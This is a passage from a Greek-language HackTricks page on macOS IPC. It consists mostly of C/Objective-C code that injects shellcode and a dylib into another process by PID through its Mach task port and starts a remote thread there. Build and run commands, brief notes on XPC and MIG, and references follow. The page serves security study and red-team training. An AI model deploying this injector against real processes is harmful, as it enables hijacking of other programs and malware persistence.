if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
Hijacking Νήματος μέσω Task port
Σε αυτή την τεχνική, ένα νήμα της διαδικασίας παρεμποδίζεται:
macOS Thread Injection via Task port
XPC
Βασικές Πληροφορίες
Το XPC, που σημαίνει XNU (ο πυρήνας που χρησιμοποιείται από το macOS) inter-Process Communication, είναι ένα πλαίσιο για επικοινωνία μεταξύ διαδικασιών στο macOS και το iOS. Το XPC παρέχει έναν μηχανισμό για ασφαλείς, ασύγχρονες κλήσεις μεθόδων μεταξύ διαφορετικών διαδικασιών στο σύστημα. Είναι μέρος της ασφάλειας της Apple, επιτρέποντας τη δημιουργία εφαρμογών με διαχωρισμένα δικαιώματα όπου κάθε συστατικό εκτελείται με μόνο τα δικαιώματα που χρειάζεται για να κάνει τη δουλειά του, περιορίζοντας έτσι τη δυνητική ζημιά από μια παραβιασμένη διαδικασία.
Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η επικοινωνία λειτουργεί και πώς θα μπορούσε να είναι ευάλωτη, ελέγξτε:
MIG - Mach Interface Generator
Το MIG δημιουργήθηκε για να απλοποιήσει τη διαδικασία δημιουργίας κώδικα Mach IPC. Βασικά παράγει τον απαραίτητο κώδικα για τον διακομιστή και τον πελάτη ώστε να επικοινωνούν με μια δεδομένη ορισμό. Ακόμα και αν ο παραγόμενος κώδικας είναι άσχημος, ένας προγραμματιστής θα χρειαστεί απλώς να τον εισάγει και ο κώδικάς του θα είναι πολύ πιο απλός από πριν.
Για περισσότερες πληροφορίες, ελέγξτε:
macOS MIG - Mach Interface Generator
Αναφορές
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.